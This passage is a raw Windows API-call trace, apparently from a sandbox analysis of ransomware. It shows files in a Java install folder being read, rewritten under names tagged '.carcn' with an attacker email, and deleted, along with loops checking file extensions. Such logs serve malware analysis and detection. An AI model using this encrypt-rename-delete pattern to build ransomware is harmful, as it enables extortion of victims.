lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.506] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.506] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0298.507] GetLastError () returned 0x0 [0298.507] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x15040, lpOverlapped=0x0) returned 1 [0298.573] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x15050, lpOverlapped=0x0) returned 1 [0298.575] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.575] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf0, lpOverlapped=0x0) returned 1 [0298.575] SetEndOfFile (hFile=0x394) returned 1 [0298.575] CloseHandle (hObject=0x394) returned 1 [0298.575] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.575] SetEndOfFile (hFile=0x338) returned 1 [0298.576] CloseHandle (hObject=0x338) returned 1 [0298.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.577] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0298.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.577] lstrlenW (lpString=".doc") returned 4 [0298.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.577] lstrlenW (lpString=".docx") returned 5 [0298.577] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.577] lstrlenW (lpString=".pdf") returned 4 [0298.577] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.577] lstrlenW (lpString=".xls") returned 4 [0298.577] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.577] lstrlenW (lpString=".xlsx") returned 5 [0298.577] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.579] lstrlenW (lpString=".ppt") returned 4 [0298.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.579] lstrlenW (lpString=".zip") returned 4 [0298.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.579] lstrlenW (lpString=".rar") returned 4 [0298.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.579] lstrlenW (lpString=".bz2") returned 4 [0298.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.579] lstrlenW (lpString=".7z") returned 3 [0298.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.579] lstrlenW (lpString=".dbf") returned 4 [0298.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.580] lstrlenW (lpString=".1cd") returned 4 [0298.580] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.580] lstrlenW (lpString=".jpg") returned 4 [0298.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.580] lstrlenW (lpString=".doc") returned 4 [0298.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.580] lstrlenW (lpString=".docx") returned 5 [0298.580] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0298.580] lstrlenW (lpString=".pdf") returned 4 [0298.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.580] lstrlenW (lpString=".xls") returned 4 [0298.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.580] lstrlenW (lpString=".xlsx") returned 5 [0298.580] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0298.580] lstrlenW (lpString=".ppt") returned 4 [0298.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.580] lstrlenW (lpString=".zip") returned 4 [0298.581] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.581] lstrlenW (lpString=".rar") returned 4 [0298.581] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.581] lstrlenW (lpString=".bz2") returned 4 [0298.581] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.581] lstrlenW (lpString=".7z") returned 3 [0298.581] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.581] lstrlenW (lpString=".dbf") returned 4 [0298.581] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.581] lstrlenW (lpString=".1cd") returned 4 [0298.581] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0298.581] lstrlenW (lpString=".jpg") returned 4 [0298.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.582] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.582] lstrlenW (lpString="deployJava1.dll") returned 15 [0298.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.582] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1026112) returned 1 [0298.582] CloseHandle (hObject=0x338) returned 1 [0298.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0298.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.583] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.583] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0299.650] GetLastError () returned 0x0 [0299.650] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xfa840, lpOverlapped=0x0) returned 1 [0299.763] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xfa850, lpOverlapped=0x0) returned 1 [0300.204] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.204] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf2, lpOverlapped=0x0) returned 1 [0300.205] SetEndOfFile (hFile=0x348) returned 1 [0300.205] CloseHandle (hObject=0x348) returned 1 [0300.205] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.205] SetEndOfFile (hFile=0x338) returned 1 [0300.212] CloseHandle (hObject=0x338) returned 1 [0300.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.213] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0300.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.213] lstrlenW (lpString=".doc") returned 4 [0300.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString=".docx") returned 5 [0300.213] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.213] lstrlenW (lpString=".pdf") returned 4 [0300.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString=".xls") returned 4 [0300.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString=".xlsx") returned 5 [0300.213] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.213] lstrlenW (lpString=".ppt") returned 4 [0300.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.213] lstrlenW (lpString=".zip") returned 4 [0300.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString=".rar") returned 4 [0300.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.213] lstrlenW (lpString=".bz2") returned 4 [0300.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.213] lstrlenW (lpString=".7z") returned 3 [0300.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.213] lstrlenW (lpString=".dbf") returned 4 [0300.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString=".1cd") returned 4 [0300.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString=".jpg") returned 4 [0300.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString=".doc") returned 4 [0300.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString=".docx") returned 5 [0300.214] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.214] lstrlenW (lpString=".pdf") returned 4 [0300.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString=".xls") returned 4 [0300.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString=".xlsx") returned 5 [0300.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.214] lstrlenW (lpString=".ppt") returned 4 [0300.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString=".zip") returned 4 [0300.214] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString=".rar") returned 4 [0300.214] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.214] lstrlenW (lpString=".bz2") returned 4 [0300.214] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.214] lstrlenW (lpString=".7z") returned 3 [0300.214] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.214] lstrlenW (lpString=".dbf") returned 4 [0300.214] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.215] lstrlenW (lpString=".1cd") returned 4 [0300.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0300.215] lstrlenW (lpString=".jpg") returned 4 [0300.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.215] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.215] lstrlenW (lpString="jaas_nt.dll") returned 11 [0300.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.215] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=21056) returned 1 [0300.215] CloseHandle (hObject=0x338) returned 1 [0300.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0300.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.216] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.216] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.216] GetLastError () returned 0x0 [0300.216] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x5240, lpOverlapped=0x0) returned 1 [0300.218] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x5250, lpOverlapped=0x0) returned 1 [0300.219] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.219] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0300.219] SetEndOfFile (hFile=0x348) returned 1 [0300.219] CloseHandle (hObject=0x348) returned 1 [0300.219] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.219] SetEndOfFile (hFile=0x338) returned 1 [0300.220] CloseHandle (hObject=0x338) returned 1 [0300.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.221] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0300.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.221] lstrlenW (lpString=".doc") returned 4 [0300.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString=".docx") returned 5 [0300.221] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.221] lstrlenW (lpString=".pdf") returned 4 [0300.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString=".xls") returned 4 [0300.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString=".xlsx") returned 5 [0300.221] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.221] lstrlenW (lpString=".ppt") returned 4 [0300.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.221] lstrlenW (lpString=".zip") returned 4 [0300.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString=".rar") returned 4 [0300.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.221] lstrlenW (lpString=".bz2") returned 4 [0300.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.222] lstrlenW (lpString=".7z") returned 3 [0300.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.222] lstrlenW (lpString=".dbf") returned 4 [0300.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.222] lstrlenW (lpString=".1cd") returned 4 [0300.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.222] lstrlenW (lpString=".jpg") returned 4 [0300.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.222] lstrlenW (lpString=".doc") returned 4 [0300.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.222] lstrlenW (lpString=".docx") returned 5 [0300.222] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.222] lstrlenW (lpString=".pdf") returned 4 [0300.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.222] lstrlenW (lpString=".xls") returned 4 [0300.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.222] lstrlenW (lpString=".xlsx") returned 5 [0300.222] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.222] lstrlenW (lpString=".ppt") returned 4 [0300.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.223] lstrlenW (lpString=".zip") returned 4 [0300.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.223] lstrlenW (lpString=".rar") returned 4 [0300.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.223] lstrlenW (lpString=".bz2") returned 4 [0300.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.223] lstrlenW (lpString=".7z") returned 3 [0300.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.223] lstrlenW (lpString=".dbf") returned 4 [0300.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.223] lstrlenW (lpString=".1cd") returned 4 [0300.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0300.223] lstrlenW (lpString=".jpg") returned 4 [0300.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.223] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.223] lstrlenW (lpString="jabswitch.exe") returned 13 [0300.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.224] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=34368) returned 1 [0300.224] CloseHandle (hObject=0x338) returned 1 [0300.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0300.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.225] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.225] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.225] GetLastError () returned 0x0 [0300.225] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x8640, lpOverlapped=0x0) returned 1 [0300.309] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x8650, lpOverlapped=0x0) returned 